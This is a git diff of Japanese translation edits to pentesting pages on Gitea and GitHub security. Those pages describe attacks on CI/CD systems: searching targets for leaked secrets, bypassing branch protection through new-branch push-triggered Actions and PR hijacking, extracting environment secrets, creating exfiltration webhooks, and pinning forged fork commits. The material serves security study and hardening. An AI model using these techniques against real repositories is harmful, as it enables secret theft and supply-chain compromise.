+基本的なGitea環境の構造は、**組織**によってリポジトリをグループ化することです。各組織は**いくつかのリポジトリ**と**いくつかのチーム**を含むことができます。ただし、githubと同様に、ユーザーは組織外にリポジトリを持つことができます。
 
 さらに、**ユーザー**は**異なる組織のメンバー**であることができます。組織内では、ユーザーは**各リポジトリに対して異なる権限**を持つことがあります。
 
@@ -12,11 +12,11 @@
 
 最後に、**リポジトリには特別な保護メカニズム**がある場合があります。
 
-## Permissions
+## 権限
 
-### Organizations
+### 組織
 
-**組織が作成されると**、**Owners**というチームが**作成され**、ユーザーがその中に入れられます。このチームは**組織に対する管理者アクセス**を提供し、その**権限**と**チームの名前**は**変更できません**。
+**組織が作成されると**、**Owners**というチームが**作成され**、ユーザーはその中に配置されます。このチームは**組織に対する管理者アクセス**を提供し、その**権限**と**チームの名前**は**変更できません**。
 
 **Org admins**（オーナー）は、組織の**可視性**を選択できます：
 
@@ -24,68 +24,68 @@
 - 限定（ログインユーザーのみ）
 - 非公開（メンバーのみ）
 
-**Org admins**は、**リポジトリ管理者**が**チームのアクセスを追加または削除**できるかどうかも示すことができます。また、最大リポジトリ数を示すこともできます。
+**Org admins**は、**リポジトリ管理者**が**チームのアクセスを追加または削除**できるかどうかも示すことができます。また、最大リポジトリ数を指定することもできます。
 
 新しいチームを作成する際には、いくつかの重要な設定が選択されます：
 
-- チームのメンバーがアクセスできる**組織のリポジトリ**が示されます：特定のリポジトリ（チームが追加されたリポジトリ）またはすべて。
-- **メンバーが新しいリポジトリを作成できるかどうか**も示されます（作成者はそのリポジトリに管理者アクセスを得ます）。
+- チームのメンバーがアクセスできる**組織のリポジトリ**が指定されます：特定のリポジトリ（チームが追加されたリポジトリ）またはすべて。
+- **メンバーが新しいリポジトリを作成できるかどうか**も指定されます（作成者はそのリポジトリに管理者アクセスを得ます）。
 - リポジトリの**メンバーが持つ**権限：
 - **管理者**アクセス
 - **特定の**アクセス：
 
 ![](<../../images/image (118).png>)
 
-### Teams & Users
+### チームとユーザー
 
-リポジトリ内で、**org admin**と**リポジトリ管理者**（組織によって許可されている場合）は、コラボレーター（他のユーザー）やチームに与えられた役割を**管理**できます。可能な**役割**は**3**つです：
+リポジトリ内で、**org admin**と**リポジトリ管理者**（組織によって許可されている場合）は、コラボレーター（他のユーザー）やチームに与えられた**役割を管理**できます。可能な**役割**は**3**つです：
 
 - 管理者
 - 書き込み
 - 読み取り
 
-## Gitea Authentication
+## Gitea認証
 
-### Web Access
+### ウェブアクセス
 
 **ユーザー名 + パスワード**を使用し、可能であれば（推奨）2FAを使用します。
 
-### **SSH Keys**
+### **SSHキー**
 
-アカウントを1つまたは複数の公開鍵で構成でき、関連する**秘密鍵があなたの代わりにアクションを実行できるようにします。** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
+関連する**秘密鍵があなたの代わりにアクションを実行できるように**、1つまたは複数の公開鍵でアカウントを構成できます。[http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
 
-#### **GPG Keys**
+#### **GPGキー**
 
-これらの鍵でユーザーを偽装することは**できません**が、使用しない場合、**署名なしでコミットを送信することで発見される可能性があります**。
+これらのキーを使用してユーザーを偽装することは**できません**が、使用しない場合、**署名なしでコミットを送信することで発見される可能性があります**。
 
-### **Personal Access Tokens**
+### **個人アクセストークン**
 
-アプリケーションにあなたのアカウントへの**アクセスを与えるための個人アクセストークンを生成できます**。個人アクセストークンはあなたのアカウントに対する完全なアクセスを提供します：[http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
+アプリケーションにあなたのアカウントへのアクセスを**与えるために個人アクセストークンを生成できます**。個人アクセストークンはあなたのアカウントに対する完全なアクセスを提供します：[http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
 
-### Oauth Applications
+### Oauthアプリケーション
 
 個人アクセストークンと同様に、**Oauthアプリケーション**はあなたのアカウントとあなたのアカウントがアクセスできる場所に対して**完全なアクセス**を持ちます。なぜなら、[docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes)に示されているように、スコープはまだサポートされていないからです：
 
 ![](<../../images/image (194).png>)
 
-### Deploy keys
+### デプロイキー
 
 デプロイキーはリポジトリに対して読み取り専用または書き込みアクセスを持つことができるため、特定のリポジトリを侵害するのに興味深いかもしれません。
 
-## Branch Protections
+## ブランチ保護
 
-ブランチ保護は、ユーザーに**リポジトリの完全な制御を与えない**ように設計されています。目標は、**いくつかの保護方法を設けて、特定のブランチにコードを書くことができるようにすること**です。
+ブランチ保護は、ユーザーに**リポジトリの完全な制御を与えない**ように設計されています。目標は、**いくつかの保護方法を設けて、特定のブランチ内にコードを書くことができるようにすること**です。
 
 **リポジトリのブランチ保護**は、_https://localhost:3000/\<orgname>/\<reponame>/settings/branches_で見つけることができます。
 
 > [!NOTE]
 > 組織レベルでブランチ保護を設定することは**できません**。したがって、すべての保護は各リポジトリで宣言する必要があります。
 
-ブランチに適用できるさまざまな保護（マスターに適用する場合など）：
+ブランチに適用できるさまざまな保護があります（例えば、masterに）：
 
 - **プッシュを無効にする**：誰もこのブランチにプッシュできません
 - **プッシュを有効にする**：アクセス権のある誰でもプッシュできますが、強制プッシュはできません。
-- **ホワイトリスト制限プッシュを有効にする**：選択されたユーザー/チームのみがこのブランチにプッシュできます（ただし、強制プッシュはできません）
+- **ホワイトリスト制限プッシュを有効にする**：選択されたユーザー/チームのみがこのブランチにプッシュできます（ただし、強制プッシュはできません）。
 - **マージホワイトリストを有効にする**：ホワイトリストに登録されたユーザー/チームのみがPRをマージできます。
 - **ステータスチェックを有効にする**：マージする前にステータスチェックが通過することを要求します。
 - **承認を要求する**：PRをマージする前に必要な承認の数を示します。
@@ -98,6 +98,6 @@
 - **保護された/保護されていないファイルパターン**：変更から保護/保護解除するファイルのパターンを示します。
 
 > [!NOTE]
-> ご覧のとおり、ユーザーの資格情報を取得できた場合でも、**リポジトリが保護されているため、マスターにコードをプッシュすることを避けることができます**。たとえば、CI/CDパイプラインを侵害するために。
+> ご覧のとおり、ユーザーの資格情報を取得できたとしても、**リポジトリが保護されているため、例えばmasterにコードをプッシュすることができない場合があります**。
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/github-security/README.md

@@ -4,7 +4,7 @@
 
 ## What is Github
 
-(From [here](https://kinsta.com/knowledgebase/what-is-github/)) 高いレベルで、**GitHubは開発者がコードを保存・管理し、コードの変更を追跡・制御するのを助けるウェブサイトおよびクラウドベースのサービスです**。
+(From [here](https://kinsta.com/knowledgebase/what-is-github/)) 高いレベルで言うと、**GitHubは開発者がコードを保存・管理し、コードの変更を追跡・制御するのを助けるウェブサイトおよびクラウドベースのサービスです**。
 
 ### Basic Information
 
@@ -16,17 +16,17 @@ basic-github-information.md
 
 Githubリポジトリは、公開、非公開、内部として設定できます。
 
-- **非公開**は、**組織**の人々だけがアクセスできることを意味します。
-- **内部**は、**エンタープライズ**の人々（エンタープライズは複数の組織を持つことがあります）だけがアクセスできることを意味します。
+- **非公開**は、**組織**の人だけがアクセスできることを意味します。
+- **内部**は、**エンタープライズ**の人（エンタープライズには複数の組織がある場合があります）だけがアクセスできることを意味します。
 - **公開**は、**全インターネット**がアクセスできることを意味します。
 
-**ターゲットにしたいユーザー、リポジトリ、または組織を知っている場合**、**github dorks**を使用して、機密情報を見つけたり、**各リポジトリでの機密情報の漏洩**を検索できます。
+**ターゲットにしたいユーザー、リポジトリ、または組織を知っている場合**、**github dorks**を使用して、各リポジトリで**機密情報や機密情報の漏洩**を検索できます。
 
 ### Github Dorks
 
-Githubは、**ユーザー、リポジトリ、または組織をスコープとして指定して何かを検索することを許可します**。したがって、機密情報の近くに表示される文字列のリストを使用して、ターゲット内の**潜在的な機密情報を簡単に検索できます**。
+Githubは、**ユーザー、リポジトリ、または組織を指定して何かを検索する**ことを許可します。したがって、機密情報の近くに表示される文字列のリストを使用して、ターゲット内の**潜在的な機密情報を簡単に検索**できます。
 
-ツール（各ツールにはそのdorkのリストが含まれています）：
+ツール（各ツールにはそのdorkのリストがあります）：
 
 - [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
 - [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
@@ -36,7 +36,7 @@ Githubは、**ユーザー、リポジトリ、または組織をスコープと
 
 github dorksは、githubの検索オプションを使用して漏洩を検索するためにも使用されることに注意してください。このセクションは、**各リポジトリをダウンロードし、その中で機密情報を検索する**ツールに専念しています（特定のコミットの深さをチェックすることも含まれます）。
 
-ツール（各ツールにはその正規表現のリストが含まれています）：
+ツール（各ツールにはその正規表現のリストがあります）：
 
 - [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
 - [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
@@ -47,7 +47,7 @@ github dorksは、githubの検索オプションを使用して漏洩を検索
 - [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
 
 > [!WARNING]
-> リポジトリで漏洩を探すときに`git log -p`のようなコマンドを実行する際、**秘密を含む他のコミットがある他のブランチ**が存在する可能性があることを忘れないでください！
+> リポジトリで漏洩を探し、`git log -p`のようなコマンドを実行する際には、**他のコミットを含む他のブランチ**が存在する可能性があることを忘れないでください！
 
 ### External Forks
 
@@ -55,7 +55,7 @@ github dorksは、githubの検索オプションを使用して漏洩を検索
 
 ### Github Leaks in deleted/internal forks
 
-削除されたり内部のものであっても、githubリポジトリのフォークから機密データを取得することが可能な場合があります。ここで確認してください：
+削除されたリポジトリや内部リポジトリから機密データを取得することが可能な場合があります。ここで確認してください：
 
 {{#ref}}
 accessible-deleted-data-in-github.md
@@ -65,35 +65,35 @@ accessible-deleted-data-in-github.md
 
 ### Member Privileges
 
-組織の**メンバー**に割り当てることができる**デフォルトの権限**があります。これらは、ページ`https://github.com/organizations/<org_name>/settings/member_privileges`または[**Organizations API**](https://docs.github.com/en/rest/orgs/orgs)から制御できます。
+組織の**メンバー**に割り当てることができる**デフォルトの権限**があります。これらは、ページ `https://github.com/organizations/<org_name>/settings/member_privileges` または [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) から制御できます。
 
 - **基本的な権限**: メンバーは、組織のリポジトリに対してNone/Read/write/Adminの権限を持ちます。推奨は**None**または**Read**です。
 - **リポジトリのフォーク**: 必要でない場合、メンバーが組織のリポジトリをフォークすることを**許可しない方が良い**です。
 - **ページの作成**: 必要でない場合、メンバーが組織のリポジトリからページを公開することを**許可しない方が良い**です。必要な場合は、公開または非公開のページを作成することを許可できます。
 - **統合アクセス要求**: これを有効にすると、外部のコラボレーターがこの組織とそのリソースにアクセスするためのGitHubまたはOAuthアプリへのアクセスを要求できるようになります。通常は必要ですが、必要でない場合は無効にする方が良いです。
 - _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_
-- **リポジトリの可視性の変更**: 有効にすると、**リポジトリ**に対して**管理者**権限を持つ**メンバー**が**可視性を変更できる**ようになります。無効にすると、組織のオーナーのみがリポジトリの可視性を変更できます。人々に**公開**にすることを望まない場合は、これを**無効**にしてください。
+- **リポジトリの可視性変更**: 有効にすると、**リポジトリ**の**管理者**権限を持つ**メンバー**が**可視性を変更**できるようになります。無効にすると、組織の所有者のみがリポジトリの可視性を変更できます。人々に**公開**にすることを望まない場合は、これを**無効**にしてください。
 - _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_
-- **リポジトリの削除と転送**: 有効にすると、リポジトリに対して**管理者**権限を持つメンバーが**公開および非公開のリポジトリを削除**または**転送**できるようになります。
+- **リポジトリの削除と移行**: 有効にすると、リポジトリの**管理者**権限を持つメンバーが公開および非公開の**リポジトリを削除**または**移行**できるようになります。
 - _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_
-- **メンバーがチームを作成することを許可**: 有効にすると、組織の**メンバー**は新しい**チームを作成**できるようになります。無効にすると、組織のオーナーのみが新しいチームを作成できます。これを無効にしておく方が良いです。
+- **メンバーがチームを作成することを許可**: 有効にすると、組織の**メンバー**は新しい**チームを作成**できるようになります。無効にすると、組織の所有者のみが新しいチームを作成できます。これを無効にしておく方が良いです。
 - _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_
 - **このページで他の設定も可能ですが、前述のものが最もセキュリティに関連しています。**
 
 ### Actions Settings
 
-アクションに関するいくつかのセキュリティ関連の設定は、ページ`https://github.com/organizations/<org_name>/settings/actions`から設定できます。
+いくつかのセキュリティ関連の設定は、ページ `https://github.com/organizations/<org_name>/settings/actions` から構成できます。
 
 > [!NOTE]
 > これらの設定は、各リポジトリでも独立して設定できることに注意してください。
 
-- **Githubアクションポリシー**: どのリポジトリがワークフローを実行でき、どのワークフローが許可されるべきかを指定できます。**許可されるリポジトリを指定する**ことを推奨し、すべてのアクションが実行されることを許可しない方が良いです。
+- **Github actionsポリシー**: どのリポジトリがワークフローを実行でき、どのワークフローが許可されるべきかを指定できます。**許可されるリポジトリを指定する**ことを推奨し、すべてのアクションを実行することを許可しない方が良いです。
 - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
 - **外部コラボレーターからのフォークプルリクエストワークフロー**: すべての外部コラボレーターに対して**承認を要求する**ことを推奨します。
 - _この情報を持つAPIは見つかりませんでした。知っている場合は共有してください。_
-- **フォークプルリクエストからのワークフローの実行**: プルリクエストからのワークフローを実行することは非常に**推奨されません**。フォーク元のメンテナーにソースリポジトリの読み取り権限を持つトークンを使用する能力が与えられるためです。
+- **フォークプルリクエストからのワークフローの実行**: プルリクエストからのワークフローを実行することは非常に**推奨されません**。フォーク元のメンテナーに、ソースリポジトリに対する読み取り権限を持つトークンを使用する能力が与えられるためです。
 - _この情報を持つAPIは見つかりませんでした。知っている場合は共有してください。_
-- **ワークフローの権限**: **リポジトリの読み取り権限のみを付与する**ことを強く推奨します。GITHUB_TOKENが実行中のワークフローに与えられることを避けるために、書き込みおよびプルリクエストの作成/承認権限を与えることは推奨されません。
+- **ワークフローの権限**: **リポジトリの読み取り権限のみを付与する**ことを強く推奨します。GITHUB_TOKENが実行中のワークフローに与えられることを避けるために、書き込みやプルリクエストの作成/承認権限を与えることは推奨されません。
 - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
 
 ### Integrations
@@ -109,92 +109,92 @@ _この情報にアクセスするためのAPIエンドポイントを知って
 
 ### With User Credentials
 
-もし何らかの方法で組織内のユーザーの資格情報を持っている場合、**ログインして**どの**エンタープライズおよび組織の役割を持っているか**を確認できます。生のメンバーであれば、**生のメンバーが持つ権限**、どの**グループ**に属しているか、どの**リポジトリに対してどの権限を持っているか**、および**リポジトリがどのように保護されているか**を確認できます。
+もし何らかの方法で組織内のユーザーの資格情報を持っている場合、**ただログイン**して、どの**エンタープライズおよび組織の役割を持っているか**を確認できます。生のメンバーであれば、**生のメンバーが持つ権限**、どの**グループ**に属しているか、どの**リポジトリに対してどの権限を持っているか**、および**リポジトリがどのように保護されているか**を確認できます。
 
 **2FAが使用されている可能性がある**ことに注意してください。したがって、そのチェックを**通過できる**場合にのみ、この情報にアクセスできます。
 
 > [!NOTE]
-> `user_session`クッキーを**盗むことに成功した場合**（現在SameSite: Laxで設定されています）、資格情報や2FAを必要とせずに**ユーザーを完全に偽装**できます。
+> `user_session`クッキーを**盗むことに成功した場合**（現在SameSite: Laxで設定されています）、資格情報や2FAなしで**ユーザーを完全に偽装**できます。
 
-役立つ場合に備えて、[**ブランチ保護のバイパス**](./#branch-protection-bypass)に関するセクションを確認してください。
+役立つ場合に備えて、以下のセクションで[**ブランチ保護のバイパス**](./#branch-protection-bypass)について確認してください。
 
 ### With User SSH Key
 
-Githubは、**ユーザー**が**SSHキー**を設定することを許可しており、これが**コードをデプロイするための認証方法**として使用されます（2FAは適用されません）。
+Githubは、**ユーザー**が**SSHキー**を設定し、コードをデプロイするための**認証方法**として使用できるようにしています（2FAは適用されません）。
 
-このキーを使用して、ユーザーがいくつかの権限を持つリポジトリで**変更を行う**ことができますが、github APIにアクセスして環境を列挙するために使用することはできません。ただし、アクセスできるリポジトリやユーザーに関する情報を取得するために、**ローカル設定を列挙する**ことができます。
+このキーを使用して、ユーザーがいくつかの権限を持つリポジトリで**変更を行う**ことができますが、github APIにアクセスして環境を列挙するために使用することはできません。ただし、**ローカル設定を列挙して**、アクセスできるリポジトリやユーザーに関する情報を取得できます。
 ```bash
 # Go to the the repository folder
 # Get repo config and current user name and email
 git config --list
 ```
-ユーザーが自分のGitHubユーザー名としてユーザー名を設定している場合、_https://github.com/\<github_username>.keys_ で彼のアカウントに設定された **公開鍵** にアクセスできます。これを確認して、見つけた秘密鍵が使用できるかどうかを確認できます。
+ユーザーが自分のGitHubユーザー名としてユーザー名を設定している場合、_https://github.com/\<github_username>.keys_ で彼のアカウントに設定された**公開鍵**にアクセスできます。これを確認して、見つけた秘密鍵が使用できるかどうかを確認できます。
 
-**SSH鍵** はリポジトリに **デプロイ鍵** としても設定できます。この鍵にアクセスできる人は、**リポジトリからプロジェクトを起動する** ことができます。通常、異なるデプロイ鍵を持つサーバーでは、ローカルファイル **`~/.ssh/config`** が関連する鍵に関する情報を提供します。
+**SSH鍵**はリポジトリに**デプロイ鍵**としても設定できます。この鍵にアクセスできる人は、**リポジトリからプロジェクトを起動**できるようになります。通常、異なるデプロイ鍵を持つサーバーでは、ローカルファイル**`~/.ssh/config`**が関連する鍵に関する情報を提供します。
 
 #### GPG鍵
 
-[**こちら**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) で説明されているように、コミットに署名する必要がある場合や、発見される可能性があります。
+[**こちら**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md)で説明されているように、コミットに署名する必要がある場合や、発見される可能性があります。
 
-現在のユーザーが鍵を持っているかどうかをローカルで確認してください:
+現在のユーザーが任意の鍵を持っているかどうかをローカルで確認してください:
 ```shell
 gpg --list-secret-keys --keyid-format=long
 ```
-### ユーザートークンを使用して
+### With User Token
 
-[**ユーザートークンについての基本情報を確認する**](basic-github-information.md#personal-access-tokens)の紹介。
+[**ユーザートークンの基本情報については、こちらを確認してください**](basic-github-information.md#personal-access-tokens)の紹介。
 
-ユーザートークンは、HTTPS経由のGitの**パスワードの代わり**に使用できるか、[**基本認証を介してAPIに認証するために使用できます**](https://docs.github.com/v3/auth/#basic-authentication)。付与された権限に応じて、さまざまなアクションを実行できる場合があります。
+ユーザートークンは、HTTPS経由のGitの**パスワードの代わりに使用**できるか、または[**基本認証を介してAPIに認証するために使用**](https://docs.github.com/v3/auth/#basic-authentication)できます。付与された権限に応じて、さまざまなアクションを実行できる場合があります。
 
 ユーザートークンは次のようになります: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
 
-### Oauthアプリケーションを使用して
+### With Oauth Application
 
-[**Github Oauthアプリケーションについての基本情報を確認する**](basic-github-information.md#oauth-applications)の紹介。
+[**Github Oauthアプリケーションの基本情報については、こちらを確認してください**](basic-github-information.md#oauth-applications)の紹介。
 
-攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるOauthアプリケーション**を作成して、特権データ/アクションにアクセスすることがあります。
+攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるOauthアプリケーション**を作成して、特権データやアクションにアクセスすることがあります。
 
-これらは、Oauthアプリケーションが要求できる[スコープ](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)です。受け入れる前に、要求されたスコープを常に確認する必要があります。
+これらは、[Oauthアプリケーションが要求できるスコープ](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)です。常に要求されたスコープを確認してから受け入れるべきです。
 
 さらに、基本情報で説明されているように、**組織はサードパーティアプリケーションに対して情報/リポジトリ/アクションへのアクセスを与えたり拒否したりできます**。
 
-### Githubアプリケーションを使用して
+### With Github Application
 
-[**Githubアプリケーションについての基本情報を確認する**](basic-github-information.md#github-applications)の紹介。
+[**Githubアプリケーションの基本情報については、こちらを確認してください**](basic-github-information.md#github-applications)の紹介。
 
-攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるGithubアプリケーション**を作成して、特権データ/アクションにアクセスすることがあります。
+攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるGithubアプリケーション**を作成して、特権データやアクションにアクセスすることがあります。
 
 さらに、基本情報で説明されているように、**組織はサードパーティアプリケーションに対して情報/リポジトリ/アクションへのアクセスを与えたり拒否したりできます**。
 
-## Github Actionの妥協と悪用
+## Compromise & Abuse Github Action
 
-Github Actionを妥協し悪用するためのいくつかの技術があります。ここで確認してください：
+Github Actionを妨害し悪用するためのいくつかの技術があります。ここで確認してください:
 
 {{#ref}}
 abusing-github-actions/
 {{#endref}}
 
-## ブランチ保護のバイパス
+## Branch Protection Bypass
 
-- **承認の数を要求する**: 複数のアカウントを妥協した場合、他のアカウントからPRを受け入れることができます。PRを作成したアカウントしか持っていない場合、自分のPRを承認することはできません。しかし、リポジトリ内の**Github Action**環境にアクセスできる場合、**GITHUB_TOKEN**を使用して**PRを承認**し、この方法で1つの承認を得ることができるかもしれません。
-- _この点とCode Owners制限についての注意: 通常、ユーザーは自分のPRを承認できませんが、もしできる場合は、それを悪用して自分のPRを受け入れることができます。_
-- **新しいコミットがプッシュされたときに承認を取り消す**: これが設定されていない場合、正当なコードを提出し、誰かが承認するのを待ってから、悪意のあるコードを追加して保護されたブランチにマージすることができます。
-- **Code Ownersからのレビューを要求する**: これが有効になっていて、あなたがCode Ownerであれば、**Github ActionがあなたのPRを作成し、あなた自身で承認することができます**。
-- **CODEOWNERファイルが誤って設定されている場合**、Githubは文句を言いませんが、それを使用しません。したがって、誤って設定されている場合は、**Code Ownersの保護が適用されません。**
+- **承認の数を要求**: 複数のアカウントを妨害した場合、他のアカウントから自分のPRを承認することができます。PRを作成したアカウントしか持っていない場合、自分のPRを承認することはできません。しかし、リポジトリ内の**Github Action**環境にアクセスできる場合、**GITHUB_TOKEN**を使用して**PRを承認**し、この方法で1つの承認を得ることができるかもしれません。
+- _この点とCode Owners制限についての注意: 通常、ユーザーは自分のPRを承認できませんが、もしできる場合は、それを悪用して自分のPRを承認できます。_
+- **新しいコミットがプッシュされたときに承認を取り消す**: これが設定されていない場合、正当なコードを提出し、誰かが承認するのを待ってから、悪意のあるコードを追加して保護されたブランチにマージできます。
+- **Code Ownersからのレビューを要求**: これが有効になっていて、あなたがCode Ownerであれば、**Github ActionがあなたのPRを作成し、その後自分で承認する**ことができます。
+- **CODEOWNERファイルが誤設定されている場合**: Githubは文句を言いませんが、それを使用しません。したがって、誤設定されている場合は、**Code Ownersの保護が適用されません。**
 - **指定されたアクターがプルリクエストの要件をバイパスできるようにする**: あなたがこれらのアクターの1人であれば、プルリクエストの保護をバイパスできます。
 - **管理者を含める**: これが設定されていない場合、リポジトリの管理者であれば、このブランチの保護をバイパスできます。
-- **PRハイジャック**: 他の誰かのPRを**変更して悪意のあるコードを追加し、結果として得られたPRを自分で承認し、すべてをマージすることができるかもしれません。**
-- **ブランチ保護の削除**: あなたが**リポジトリの管理者であれば、保護を無効にし、PRをマージして、再度保護を設定できます。**
+- **PRハイジャック**: 他の誰かのPRを**変更して悪意のあるコードを追加し、結果として得られたPRを自分で承認してすべてをマージ**できるかもしれません。
+- **ブランチ保護の削除**: あなたが**リポジトリの管理者であれば、保護を無効にし、PRをマージして保護を再設定**できます。
 - **プッシュ保護のバイパス**: リポジトリが**特定のユーザーのみ**がブランチにプッシュ（コードをマージ）できるようにしている場合（ブランチ保護がすべてのブランチを保護している可能性がありますが、ワイルドカード`*`を指定しています）。
-- **リポジトリに対する書き込みアクセスがあるが、ブランチ保護のためにコードをプッシュできない場合**、新しいブランチを**作成し、その中でコードがプッシュされたときにトリガーされる**Github Actionを作成することができます。**ブランチ保護はブランチが作成されるまで保護しないため**、この最初のコードプッシュは**Github Actionを実行します**。
+- **リポジトリに対する書き込みアクセスがあるが、ブランチ保護のためにコードをプッシュできない場合**、新しいブランチを**作成し、その中でコードがプッシュされたときにトリガーされる**Github Actionを作成できます。**ブランチ保護はブランチが作成されるまで保護しないため**、この最初のコードプッシュは**Github Actionを実行します**。
 
-## 環境保護のバイパス
+## Bypass Environments Protections
 
-[**Github環境についての基本情報を確認する**](basic-github-information.md#git-environments)の紹介。
+[**Github環境の基本情報については、こちらを確認してください**](basic-github-information.md#git-environments)。
 
-環境が**すべてのブランチからアクセス可能な場合**、それは**保護されていない**ため、環境内の秘密に簡単にアクセスできます。**すべてのブランチが保護されている**リポジトリ（名前を指定するか、`*`を使用することによって）を見つけることがあることに注意してください。その場合、**コードをプッシュできるブランチを見つけ**、新しいGithub Actionを作成することで秘密を**抽出**できます（または1つを修正することができます）。
+環境に**すべてのブランチからアクセスできる場合**、それは**保護されていない**ため、環境内のシークレットに簡単にアクセスできます。**すべてのブランチが保護されている**リポジトリ（名前を指定するか、`*`を使用することによって）を見つけることがあることに注意してください。その場合、**コードをプッシュできるブランチを見つけ**、新しいGithub Actionを作成することでシークレットを**抽出**できます（または1つを変更することができます）。
 
-すべてのブランチが**保護されている**（ワイルドカード`*`を介して）場合、**誰がブランチにコードをプッシュできるかが指定されており**、**あなたのユーザーは許可されていない**というエッジケースがあることに注意してください。それでもカスタムGithub Actionを実行できます。なぜなら、ブランチを作成し、その上でプッシュトリガーを使用できるからです。**ブランチ保護は新しいブランチへのプッシュを許可するため、Github Actionがトリガーされます**。
+すべてのブランチが保護されている（ワイルドカード`*`を介して）場合、**誰がブランチにコードをプッシュできるかが指定されている**エッジケースがあることに注意してください（これはブランチ保護で指定できます）し、**あなたのユーザーは許可されていません**。それでもカスタムGithub Actionを実行できます。なぜなら、ブランチを作成し、その上でプッシュトリガーを使用できるからです。**ブランチ保護は新しいブランチへのプッシュを許可するため、Github Actionがトリガーされます**。
 ```yaml
 push: # Run it when a push is made to a branch
 branches:
@@ -207,18 +207,18 @@ branches:
 - **ユーザートークン**を生成
 - **シークレット**から**githubトークン**を盗む
 - ワークフローの**結果**と**ブランチ**の**削除**
-- **組織全体に対してより多くの権限を付与**
+- **全ての組織に対してより多くの権限を付与**
 - 情報を外部に流出させるための**ウェブフック**を作成
 - **外部コラボレーター**を招待
-- **SIEM**によって使用される**ウェブフック**を**削除**
+- **SIEM**で使用されている**ウェブフック**を**削除**
 - **バックドア**を持つ**Github Action**を作成/変更
 - **シークレット**値の変更を通じて**コマンドインジェクション**に脆弱な**Github Action**を見つける
 
-### 偽のコミット - リポジトリのコミットを通じたバックドア
+### 偽のコミット - リポジトリコミットを介したバックドア
 
-Githubでは、**フォークからリポジトリにPRを作成**することが可能です。PRが**受け入れられなくても**、元のリポジトリ内にフォーク版のコードのための**コミット**IDが作成されます。したがって、攻撃者は**リポジトリの所有者によって作成されていない、見た目上正当なリポジトリから特定のコミットを使用するようにピン留めすることができる**かもしれません。
+Githubでは、**フォークからリポジトリにPRを作成**することが可能です。PRが**受け入れられなくても**、元のリポジトリ内にフォーク版のコードの**コミット**IDが作成されます。したがって、攻撃者は**リポジトリの所有者によって作成されていない、見た目上正当なリポジトリから特定のコミットを使用するようにピン留めすることができます**。
 
-[**これのように**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
+[**これ**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e)のように：
 ```yaml
 name: example
 on: [push]

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -1,4 +1,4 @@
-# Abusing Github Actions
+# Github Actionsの悪用
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -8,9 +8,9 @@
 
 - 攻撃者がGithub Actionにアクセスできた場合の**影響の概要**
 - **アクションにアクセスするための異なる方法**：
-- アクションを作成するための**権限**
-- **プルリクエスト**関連のトリガーを悪用する
-- **他の外部アクセス**技術を悪用する
+- アクションを作成するための**権限**を持つこと
+- **プルリクエスト**関連のトリガーを悪用すること
+- **他の外部アクセス**技術を悪用すること
 - すでに侵害されたリポジトリからの**ピボット**
 - 最後に、内部からアクションを悪用するための**ポストエクスプロイト技術**に関するセクション（前述の影響を引き起こす）
 
@@ -18,13 +18,13 @@
 
 [**Github Actionsの基本情報を確認する**](../basic-github-information.md#github-actions)についての紹介。
 
-**リポジトリ内でGitHub Actionsで任意のコードを実行できる**場合、次のことができるかもしれません：
+**リポジトリ内でGitHub Actionsに任意のコードを実行できる**場合、次のことができるかもしれません：
 
-- パイプラインにマウントされた**シークレットを盗む**ことができ、**パイプラインの権限を悪用**して、AWSやGCPなどの外部プラットフォームに不正アクセスする。
-- **デプロイメント**や他の**アーティファクトを侵害する**。
-- パイプラインが資産をデプロイまたは保存する場合、最終製品を変更し、サプライチェーン攻撃を可能にする。
-- **カスタムワーカーでコードを実行**して、計算能力を悪用し、他のシステムにピボットする。
-- `GITHUB_TOKEN`に関連付けられた権限に応じて、**リポジトリコードを上書きする**。
+- パイプラインにマウントされた**シークレットを盗む**ことができ、**パイプラインの権限を悪用**して、AWSやGCPなどの外部プラットフォームに不正アクセスすることができます。
+- **デプロイメント**や他の**アーティファクトを侵害**することができます。
+- パイプラインが資産をデプロイまたは保存する場合、最終製品を変更し、サプライチェーン攻撃を可能にすることができます。
